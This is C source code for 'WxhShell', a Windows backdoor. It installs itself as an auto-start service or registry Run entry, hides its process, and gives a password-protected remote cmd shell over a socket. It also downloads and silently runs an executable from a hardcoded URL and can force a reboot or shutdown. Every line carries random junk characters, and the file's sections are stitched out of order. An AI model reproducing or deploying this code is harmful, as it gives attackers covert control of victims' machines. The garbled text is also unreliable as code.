    send(wsh,msg_ws_err,strlen(msg_ws_err),0); TAp8x  
    else { ]mT2a8`c.r  
    closesocket(wsh); \ _l4li  
    ExitThread(0); Ze"m;T  
    } @e:= D  
    break; / lDei}  
    } @M&qH[tK-A  
  // 获取shell C q)Cwc[H  
  case 's': { ckdXla  
    CmdShell(wsh); y ]D[JX[  
    closesocket(wsh); _(:<l Y aY  
    ExitThread(0); 6'45c1e   
    break; WO!'("  
  } iph}!3f  
  // 退出 ?'RB'o~  
  case 'x': { t+Au6/Dx?  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); |*n B2  
    CloseIt(wsh); ,Vfjt=6]}  
    break; )];Bo.QA  
    } "X,*VQl:  
  // 离开 /_qW?LKG/  
  case 'q': { W*r1Sy  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); &(X67  
    closesocket(wsh); L25%KGg' o  
    WSACleanup(); )18C(V-x  
    exit(1); ToX--w4  
    break; Jp"yb`w  
        } o1Nfn'!3/>  
  } LDh,!5G-M  
  } }*?,&9/_)  
Fxv5kho  
  // 提示信息 W[<ZI>mf  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :JIJ!Xn)  
} 0)rayzv  
  } bYBEh n  
$Ts;o  
  return; i|[**P  
} ],s{%a5wC  
3@42u G>  
// shell模块句柄 5 BLAa1  
int CmdShell(SOCKET sock) J#xZ.6)  
{ y;<F|zIm  
STARTUPINFO si; K$I`&M(  
ZeroMemory(&si,sizeof(si)); XNJ3.w:R  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Z ygu/M 6  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 6uIgyO*;k  
PROCESS_INFORMATION ProcessInfo; +E-CsNAZ*"  
char cmdline[]="cmd"; $:RR1.Tv  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); :}z `4S@b  
  return 0; JFFluL=-  
} >Og|*g  
1YN w=  
// 自身启动模式 xauMF~*  
int StartFromService(void) =SD^Jl{H  
{ ;z T3Fv\  
typedef struct NG_7jZzXA9  
{ b|e1HCH  
  DWORD ExitStatus; {5]c \_.  
  DWORD PebBaseAddress; IG&twJR  
  DWORD AffinityMask; jN-!1O._G  
  DWORD BasePriority; {mUt|m 7!  
  ULONG UniqueProcessId; gI!d*]{BP  
  ULONG InheritedFromUniqueProcessId; SHT`  
}   PROCESS_BASIC_INFORMATION; ![9$ru  
-&l%CR,U  
PROCNTQSIP NtQueryInformationProcess; X0Wx\xDg[  
d hjX[7Bl9  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; SY.ZEJcv  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; <nTZs`$LwL  
zx5#eMD  
  HANDLE             hProcess; |DYgc$2pN  
  PROCESS_BASIC_INFORMATION pbi; G=]ox*BY  
td7Of(k'  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); &0i$Y\g  
  if(NULL == hInst ) return 0; Fw:_O2  
e07u@_'^  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); >gDeuye  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); WLA&K]  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); q@g#DP+C  
Dt! <  
  if (!NtQueryInformationProcess) return 0; (eAz nTU  
7>=  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 0SQrz$y  
  if(!hProcess) return 0; pHXs+Ysw+  
P\WFm   
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; <HtGp6q  
cyo[HI?WM  
  CloseHandle(hProcess); XFYa+]B2q  
C^;>HAK|F  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); H+Aidsn  
if(hProcess==NULL) return 0; 5|cRHM#  
W,"Re,`H  
HMODULE hMod; u=tp80_  
char procName[255]; aIDv~#l  
unsigned long cbNeeded; w{t]^w:  
C`R<55x6  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); iL2__TO  
5KP\#Y  
  CloseHandle(hProcess); OADW;fj  
Ot)S\s>  
if(strstr(procName,"services")) return 1; // 以服务启动 ik #Wlz`4  
`5e{ec c7  
  return 0; // 注册表启动 .9N7`  
} #uF`|M$u  
~KRS0 ^  
// 主模块 KK6fRtKv>q  
int StartWxhshell(LPSTR lpCmdLine) D(OJr5Gg  
{ 1$+8wDVwad  
  SOCKET wsl; @+l=R|  
BOOL val=TRUE; J ?EDz,  
  int port=0; 8t. QFze?  
  struct sockaddr_in door; Bgn%d4W;G  
vw4b@v-XQ3  
  if(wscfg.ws_autoins) Install(); _-3n'i8  
0n'v F&E8  
port=atoi(lpCmdLine); }%z%}V@(&  
<nb%$2r1  
if(port<=0) port=wscfg.ws_port; k~gOL#$  
Oet+$ b  
  WSADATA data; ,<Z,-0S  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; \7%#4@;?  
<_ENC>NP  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   \A,zwdt P  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 8\^A;5  
  door.sin_family = AF_INET; !^ad{# |X  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); _m[DieR  
  door.sin_port = htons(port); o.kDOqd  
}i,r{Y]s]  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { V[uSo$k+>  
closesocket(wsl); nmts% u  
return 1; Q4hY\\Hi  
} R :(-"GW'  
6M. |W;  
  if(listen(wsl,2) == INVALID_SOCKET) { \=7jp|{Yl  
closesocket(wsl); Mm(#N/  
return 1; r~2hTie  
} UfPHV%Wd  
  Wxhshell(wsl); 1]eRragm"  
  WSACleanup(); ZOMYo]  
NPrLM5  
return 0; <e?Eva%t`  
8Y.9%@  
} K, I  
#4b]j".P!n  
// 以NT服务方式启动 TYb$+uY  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) `CH,QT7e  
{ bc4V&  
DWORD   status = 0; ]d-.Mw,'  
  DWORD   specificError = 0xfffffff; vsZ?cd  
}{VOyPG  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Z.u 1Dz  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; jS~Pdz  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; jeJgDAUv  
  serviceStatus.dwWin32ExitCode     = 0; `d$@1  
  serviceStatus.dwServiceSpecificExitCode = 0; o.Rv<a5.L  
  serviceStatus.dwCheckPoint       = 0; 6[4VbIBSI  
  serviceStatus.dwWaitHint       = 0; #XA`n@2Uoo  
g27'il  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 9aY8`B  
  if (hServiceStatusHandle==0) return; mHHlm<?]  
BkGEx z  
status = GetLastError(); "I)zi]vk  
  if (status!=NO_ERROR) ,!b<SQ5M  
{ |5tZ*$nGa  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 9i}$245lB  
    serviceStatus.dwCheckPoint       = 0; y:}qoT_.  
    serviceStatus.dwWaitHint       = 0; TKv!wKI  
    serviceStatus.dwWin32ExitCode     = status; a!E22k?((z  
    serviceStatus.dwServiceSpecificExitCode = specificError; *$W&jfW  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); UUlz3"`  
    return; @anjjC5a~  
  } O"+0 b|  
GaG>0 x   
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 8>,w8(Nt  
  serviceStatus.dwCheckPoint       = 0; `H6~<9r  
  serviceStatus.dwWaitHint       = 0; 3>-h- cpMX  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); #$- E5R;x  
} (X,i,qK/  
xBA"w:<  
// 处理NT服务事件,比如:启动、停止 #aU!f"SS  
VOID WINAPI NTServiceHandler(DWORD fdwControl) *>KBDFI  
{ 5C9b*]-#  
switch(fdwControl) e5>'H!)  
{ V7Cnu:0_  
case SERVICE_CONTROL_STOP: "H).2{3(x  
  serviceStatus.dwWin32ExitCode = 0; fDf[:A,8  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; DJL.P6-W  
  serviceStatus.dwCheckPoint   = 0; $VvgzjrH  
  serviceStatus.dwWaitHint     = 0; &]#L'D!"  
  { $vfgYl4q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); R-S<7Q3E0=  
  } 3@Mh* \;\b  
  return; X!ruQem /  
case SERVICE_CONTROL_PAUSE: jRg gj`o  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 3WJk04r  
  break; =+Fb\HvX{  
case SERVICE_CONTROL_CONTINUE:  r!?ga  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; (Z(S?`')  
  break; $M 8& &M  
case SERVICE_CONTROL_INTERROGATE: >ep<W<b  
  break; 31a,i2Q4  
}; \X:e9~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); oT):#,s  
} M}x%'=Pox  
**Ioy+  
// 标准应用程序主函数 hr fF1 >A  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) G XVx/) H  
{ vTO9XHc E  
);7 d_#  
// 获取操作系统版本 ,G t!nm_  
OsIsNt=GetOsVer(); 3!{imQT  
GetModuleFileName(NULL,ExeFile,MAX_PATH); oQ<[`.s  
FN-/~Su~J  
  // 从命令行安装 u^tQ2&?O!P  
  if(strpbrk(lpCmdLine,"iI")) Install(); Ig `q[o  
-[L\:'Gp5  
  // 下载执行文件 tF`L]1r>  
if(wscfg.ws_downexe) { F,wB6Cw  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 'F/oR/4,  
  WinExec(wscfg.ws_filenam,SW_HIDE); h#hr'3bI1  
} B>^6tdz  
n[iwi   
if(!OsIsNt) { ^?`fN'!p  
// 如果时win9x,隐藏进程并且设置为注册表启动 Swhz\/u9  
HideProc(); 9j>2C  
StartWxhshell(lpCmdLine); vn^O m-\  
} G<$:[ +w  
else @-!P1]V|  
  if(StartFromService()) #:gd9os :  
  // 以服务方式启动 )=[\YfK  
  StartServiceCtrlDispatcher(DispatchTable); T(D6'm:X  
else @(sz"  
  // 普通方式启动 ;`78h?`  
  StartWxhshell(lpCmdLine); 0+FPAqX  
.n]"vpWm[  
return 0; j#5a&Z  
} )/$J$'mcxd  
NZvgkci_(u  
&)1.z7T  
STW?0B'Jr  
=========================================== Ay?<~)H  
^Spu/55_  
F?Lt-a+  
6VGY4j}:(  
SsZC g#i  
?Ij(B}D  
" lFBpNUnzU  
2?t@<M]  
#include <stdio.h> ttsR`R1.k  
#include <string.h> lvke!~#  
#include <windows.h> q`c!!Lg  
#include <winsock2.h> Z6Fu~D2U y  
#include <winsvc.h> OX7=g$S 1  
#include <urlmon.h> hu}$\  
e"S?qpJK  
#pragma comment (lib, "Ws2_32.lib") P51M?3&=l  
#pragma comment (lib, "urlmon.lib") R5uG.Oj-2  
b w P=f.  
#define MAX_USER   100 // 最大客户端连接数 ,>a!CnK=  
#define BUF_SOCK   200 // sock buffer 90Ki.K0  
#define KEY_BUFF   255 // 输入 buffer k: Pn.<  
gXdMGO>  
#define REBOOT     0   // 重启 0~qc,-)3  
#define SHUTDOWN   1   // 关机 Qo#]Lo> \g  
V+E8{|dYL  
#define DEF_PORT   5000 // 监听端口 8Sr'  
,UY1.tR(  
#define REG_LEN     16   // 注册表键长度 .Fo#Dmq3  
#define SVC_LEN     80   // NT服务名长度 "JB4 Uaa  
TJ"-cWpO1  
// 从dll定义API xnZnbgO+  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); )zr*Ecz  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); BiYxI{VFD  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); b)d;eS  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); BDI|z/~&  
qIi \[Ugh  
// wxhshell配置信息 ZyGoOk  
struct WSCFG { [:y:_ECs6  
  int ws_port;         // 监听端口 T8o](:B~  
  char ws_passstr[REG_LEN]; // 口令 m)Plv+R}  
  int ws_autoins;       // 安装标记, 1=yes 0=no fqgp{(`@>  
  char ws_regname[REG_LEN]; // 注册表键名 0caZ_-zU  
  char ws_svcname[REG_LEN]; // 服务名 1rm\u%  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 =tOB fRM  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 FiUQ2w4  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ~[ufL25K  
int ws_downexe;       // 下载执行标记, 1=yes 0=no B0@ Tz39=  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" e|]e\Or>  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 XGl2rX&  
W+ S~__K  
}; +S4n416K  
io4<HN  
// default Wxhshell configuration Cyg2o<O@  
struct WSCFG wscfg={DEF_PORT, )E^S+ps  
    "xuhuanlingzhe", [YOH'i&X  
    1, Z`S# > o  
    "Wxhshell", |MwV4^  
    "Wxhshell", I1<WHq  
            "WxhShell Service", 6'#5Dqw"r  
    "Wrsky Windows CmdShell Service", TjUwe@&Rw  
    "Please Input Your Password: ", .?:*0  
  1, ?M4o>T%p"  
  "http://www.wrsky.com/wxhshell.exe", #t ;`  
  "Wxhshell.exe" ]fM|cN8(zM  
    }; ;{ifLI0#  
s)1-xA{'.  
// 消息定义模块 =)Xj[NNRT  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; k =! Q  
char *msg_ws_prompt="\n\r? for help\n\r#>"; {MgRi 7  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; b84l`J  
char *msg_ws_ext="\n\rExit."; yvd)pH<a2  
char *msg_ws_end="\n\rQuit."; 5BVvT `<  
char *msg_ws_boot="\n\rReboot..."; [^qT?se{  
char *msg_ws_poff="\n\rShutdown..."; sINQ?4_8T  
char *msg_ws_down="\n\rSave to "; j"qND=15  
Nfa&r  
char *msg_ws_err="\n\rErr!"; 5XKTb  
char *msg_ws_ok="\n\rOK!"; \,#$,dUXD  
l\UjvG  
char ExeFile[MAX_PATH]; mwAN9<o  
int nUser = 0; }S> 4.8  
HANDLE handles[MAX_USER]; [Hh-F#|R  
int OsIsNt; Uy?jVPL  
j?K$w`  
SERVICE_STATUS       serviceStatus; yK*vn]}  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; =CLPz8  
"hk# pQ  
// 函数声明 e*:K79 y  
int Install(void); |v!N1+v0  
int Uninstall(void); QOWGQl%!  
int DownloadFile(char *sURL, SOCKET wsh); Bj@>iw?g'  
int Boot(int flag); ;R?@ D]  
void HideProc(void); 0AB a&'h  
int GetOsVer(void); Z [!"x&H]h  
int Wxhshell(SOCKET wsl); X-["{  
void TalkWithClient(void *cs); $bTtD<a  
int CmdShell(SOCKET sock); [IYVrT&C'  
int StartFromService(void); c1f"z1Z  
int StartWxhshell(LPSTR lpCmdLine); :33@y%>L  
@Xo*TJB  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); PT/Nz+  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); *ID=X!v  
94tfR$W;-  
// 数据结构和表定义 kdNo<x1o  
SERVICE_TABLE_ENTRY DispatchTable[] = FGV L[\  
{ a"jE\OZ{+s  
{wscfg.ws_svcname, NTServiceMain}, &L8RLSfX  
{NULL, NULL} ~q`!928Gu  
}; }5 rR^ryA  
i'ap8Dr  
// 自我安装 @| z _&E  
int Install(void) ~c)&9'  
{ 26j<>>2  
  char svExeFile[MAX_PATH]; h^3gYL7O6  
  HKEY key; '<Zm>L&  
  strcpy(svExeFile,ExeFile); h:4(Gm;  
}* :3]  
// 如果是win9x系统,修改注册表设为自启动 '/>Mr!H#  
if(!OsIsNt) { Wiis<^)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +CSpL2@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); o~LJ+m6-)  
  RegCloseKey(key); CS[]T9|_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {++ EX2  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); a/J<(sak~X  
  RegCloseKey(key); :c*"Dx'D  
  return 0; +x%u?ZR  
    } &_L@hsm  
  } Ju+3}  
} x9l7|G/$  
else { tYjG8P#  
}_+XN"}C  
// 如果是NT以上系统,安装为系统服务 Sdq}?-&Sa  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);  [Sm<X  
if (schSCManager!=0) t'44X  
{ @O#!W]6NT6  
  SC_HANDLE schService = CreateService Cut~k"lv  
  ( >_}isCd,  
  schSCManager, 65LtCQ }  
  wscfg.ws_svcname, *;A ;)'  
  wscfg.ws_svcdisp, D \ rns+  
  SERVICE_ALL_ACCESS, |1@O>GG  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , dseI~}  
  SERVICE_AUTO_START, ZLQmEF[>  
  SERVICE_ERROR_NORMAL, !#0)`4O  
  svExeFile, 0%f}Q7*R  
  NULL, u({^8: AYu  
  NULL, .<m]j;|6  
  NULL, Zl>SeTjB-  
  NULL, 2C S9v  
  NULL un "I  
  ); LK'(OZ  
  if (schService!=0) L.;b( bFe  
  { "tyRnUP  
  CloseServiceHandle(schService); 45yP {+/-Q  
  CloseServiceHandle(schSCManager); m212 gc0u  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); vXKL<  
  strcat(svExeFile,wscfg.ws_svcname); p(yv  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { tD8fSV  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); /zIG5RK>  
  RegCloseKey(key); kz=ho~ @  
  return 0; 3bRxV @0.  
    } Gk:fw#R  
  } NM. e4  
  CloseServiceHandle(schSCManager); o0r&w;!  
} Ct=bZW"j/  
} VEWW[ T  
4  %0s p  
return 1; hW*o;o7u  
} kQ+y9@=/g  
PZ]tl  
// 自我卸载 5_9`v@-4_  
int Uninstall(void) m H:Un{,  
{ 6))":<J  
  HKEY key; xw*e`9vAe  
I0 t#{i  
if(!OsIsNt) { HI5NWdfRl  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !S?Fz]  
  RegDeleteValue(key,wscfg.ws_regname); $yOB-  
  RegCloseKey(key); t 24`*'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Qa2h#0j  
  RegDeleteValue(key,wscfg.ws_regname); }IygU 6{G  
  RegCloseKey(key); UBd+,]"f  
  return 0; 0AM_D >fH  
  } FVXsu!R  
} <K)]kf  
} zjoo;(?D|  
else { J6#h~fpv  
6mcb'hy  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); QSaDa@OV  
if (schSCManager!=0) JC'3x9_<z  
{ SQ) BS/8A  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ;lmg0dtJ  
  if (schService!=0) Gamn,c9  
  { <EC"E #p  
  if(DeleteService(schService)!=0) { aImzK/  
  CloseServiceHandle(schService); )"TVR{I%B  
  CloseServiceHandle(schSCManager); rxp|[>O<  
  return 0; C^q|(G)  
  } Jt$YSp=!!  
  CloseServiceHandle(schService); &g?GF\Y  
  } g1t6XVS$9  
  CloseServiceHandle(schSCManager); QFnuu-82"  
} ld(60?z>FH  
} i9 aR#  
I[E 6N2  
return 1; b`e_}^,c  
} Ug*B[q/  
 ~&~4{  
// 从指定url下载文件 c|<F8 n  
int DownloadFile(char *sURL, SOCKET wsh) hNc8uV{r=  
{ <0';2yP"  
  HRESULT hr; nf pO  
char seps[]= "/"; ,!> ~izB  
char *token; 4Uny.C]  
char *file; ;Am3eJa*-  
char myURL[MAX_PATH]; 7~2_'YX>:  
char myFILE[MAX_PATH]; th{J;a  
S$b)X"h  
strcpy(myURL,sURL); 8*-)[+s9il  
  token=strtok(myURL,seps); ,Ee5}#dI  
  while(token!=NULL) hP:>!KJ  
  { u-~ec{oBu  
    file=token; DVd8Ix<  
  token=strtok(NULL,seps); ";.j[p:gi  
  } 6vNW)1{nn  
(H:c8 0/V  
GetCurrentDirectory(MAX_PATH,myFILE); }hy4EJ  
strcat(myFILE, "\\"); &l cfX\y  
strcat(myFILE, file); vapC5,W"2-  
  send(wsh,myFILE,strlen(myFILE),0); C-edQWbcP  
send(wsh,"...",3,0); M2%@bETJ  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); +kWWx#L#  
  if(hr==S_OK) bofI0f}5.  
return 0; TqJ @l  
else <HnJD/g  
return 1; O n0!>-b,  
}/J"/ T  
} RrxbsG1HP  
,|c;x1|O  
// 系统电源模块 _HM?p(H@  
int Boot(int flag) A"r<$S6  
{ Kjbk zc1  
  HANDLE hToken; Sk EI51]  
  TOKEN_PRIVILEGES tkp; Op0*tj2i),  
Um/l{:S   
  if(OsIsNt) { xy`Y7W=  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); aUL7 ]'q}  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 7s^b@&Le  
    tkp.PrivilegeCount = 1; E$lbm>jsb$  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; '7oR|I  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); l4DBGZB  
if(flag==REBOOT) { q=^;lWs4  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) qBF|' .$^  
  return 0; 9ug4p']  
} hV $Zr4'  
else { ";dS~(~  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ]$#bNt/p  
  return 0; ,~7~ S"  
} M*k,M=sX  
  } a;5clonB  
  else { `BZ|[ q3  
if(flag==REBOOT) { *& w/*h$!  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) pku\)  
  return 0; iUz?mt;k  
} 1E$\&*(  
else { 5ppr;QaB  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) A*BN  
  return 0; b81^756  
} `[$>S  
} ty5# a  
.hckZx /  
return 1; n-K/d I  
} !>'A2V~F  
8nZ_.  
// win9x进程隐藏模块 nt"\FZ*;3  
void HideProc(void) Fr50hrtkU  
{ S? Cd,WxT  
m>Z3p7!N}  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); O-.G("  
  if ( hKernel != NULL ) qbQdx Kk  
  { w3i74C&0  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); <c5g-*V:  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); t[;-gi,,  
    FreeLibrary(hKernel); 5OPvy,e6  
  } G5|nt#>  
v~x`a0  
return; c)Ng9p  
} 4-HBXG9#/  
j0"4X  
// 获取操作系统版本 3 }sy{Mx%9  
int GetOsVer(void) fP 3eR>e  
{ ]Ky`AG`2~  
  OSVERSIONINFO winfo;  N MkOx$  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); VN09g&  
  GetVersionEx(&winfo); x?rd9c  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) / \qzTo  
  return 1; .Erv\lv*  
  else EPwU{*F  
  return 0; VI|2vV6?  
} Mq\?J{E  
G_qt~U  
// 客户端句柄模块 QeT~s5 H  
int Wxhshell(SOCKET wsl) <8~c7kT'  
{ _9"ZMUZ{  
  SOCKET wsh; L{1[:a)']B  
  struct sockaddr_in client; $ r-rIW5\  
  DWORD myID; djoP`r  
SnX)&>B  
  while(nUser<MAX_USER) P_H2[d&/>D  
{ o+{7"Na8[  
  int nSize=sizeof(client); ^r<l#D,  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); &hZ.K"@7{  
  if(wsh==INVALID_SOCKET) return 1; mz x$(u  
#lik: ?  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); :RDk{^b)  
if(handles[nUser]==0) 5w~ 0Q  
  closesocket(wsh); 1fV)tvU$  
else N,8.W"fV  
  nUser++; E|oOd<z  
  } {|0YcL  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); a; a1>1  
}s"].Xm^2  
  return 0; C \5yo  
} *Cp:<M nd  
ffI=Bt]t  
// 关闭 socket d%L/[.&  
void CloseIt(SOCKET wsh) 2zbn8tO  
{ J!|R1  
closesocket(wsh); InRRcn(  
nUser--; =/xx:D/  
ExitThread(0); mm*nXJ  
} `tuGy}S2  
U)iBeYW:  
// 客户端请求句柄 .i )n1  
void TalkWithClient(void *cs) E:uTjXt  
{ yW*,Llb5  
vV=rBO0a?  
  SOCKET wsh=(SOCKET)cs; [5!{>L`  
  char pwd[SVC_LEN]; GBBp1i  
  char cmd[KEY_BUFF]; ru/{s3  
char chr[1]; KRR)pT  
int i,j; [ns==gDD  
A!^r9?<  
  while (nUser < MAX_USER) { JbitRV@a  
xFIzq  
if(wscfg.ws_passstr) { s`G}MU  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); lSoAw-@At8  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); > Xij+tt{  
  //ZeroMemory(pwd,KEY_BUFF); <Mj{pN3  
      i=0; NU'2QSU8  
  while(i<SVC_LEN) { #}Xsi&:XU  
Y~*aA&D  
  // 设置超时 x&JD~,Y  
  fd_set FdRead; ~PAI0+*"q  
  struct timeval TimeOut; <EE^ KR96  
  FD_ZERO(&FdRead); M(C$SB>  
  FD_SET(wsh,&FdRead); vxi_Y\r=T  
  TimeOut.tv_sec=8; !?J- Y  
  TimeOut.tv_usec=0; 5-H"{29  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); j4`+RS+q  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 9D,!]  
j,9/eZRZ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ] M#LB&Pe  
  pwd=chr[0]; kaoiSL<[6  
  if(chr[0]==0xd || chr[0]==0xa) { *5XOYb?'v.  
  pwd=0; xDPR^xY  
  break; "~zLG"  
  } UxF9Ko( ]d  
  i++; sV0NDM0  
    } $*:$-  
w/PE)xA  
  // 如果是非法用户,关闭 socket nWK7*  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); II=!E  
} dK8dC1@,X;  
iv],:|Mbd  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 2 p}I  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4hfq7kq7(  
zK_P3r LsS  
while(1) { zTPNQ0=|  
P0sAq7"  
  ZeroMemory(cmd,KEY_BUFF); .r-Zz3  
"j_cI-@6  
      // 自动支持客户端 telnet标准   6kAGOjO  
  j=0; ZCBF&.!  
  while(j<KEY_BUFF) { KLu Og$i  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); z6,E} Y  
  cmd[j]=chr[0]; H?ug-7k/  
  if(chr[0]==0xa || chr[0]==0xd) { '.gi@Sr5  
  cmd[j]=0; pp{p4Z   
  break; V[Sj+&e&  
  } +7AH|v8  
  j++; CY*GCkH  
    } i{:iRUC#  
O.\\)8xA  
  // 下载文件 4#:Eq=(W  
  if(strstr(cmd,"http://")) { Jk7 Am-.0  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); _ShWCU-~Z  
  if(DownloadFile(cmd,wsh)) <c<!|<x  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); fz8 41 <Y  
  else B~@Gfb>`'  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h qhX  
  } 3zc;_U2  
  else { q\gbjci  
\~Ml<3Zd:  
    switch(cmd[0]) { XIdC1%pr;  
  CvEIcm=t  
  // 帮助 g>gf-2%Uo  
  case '?': { O(e!Vx{t!  
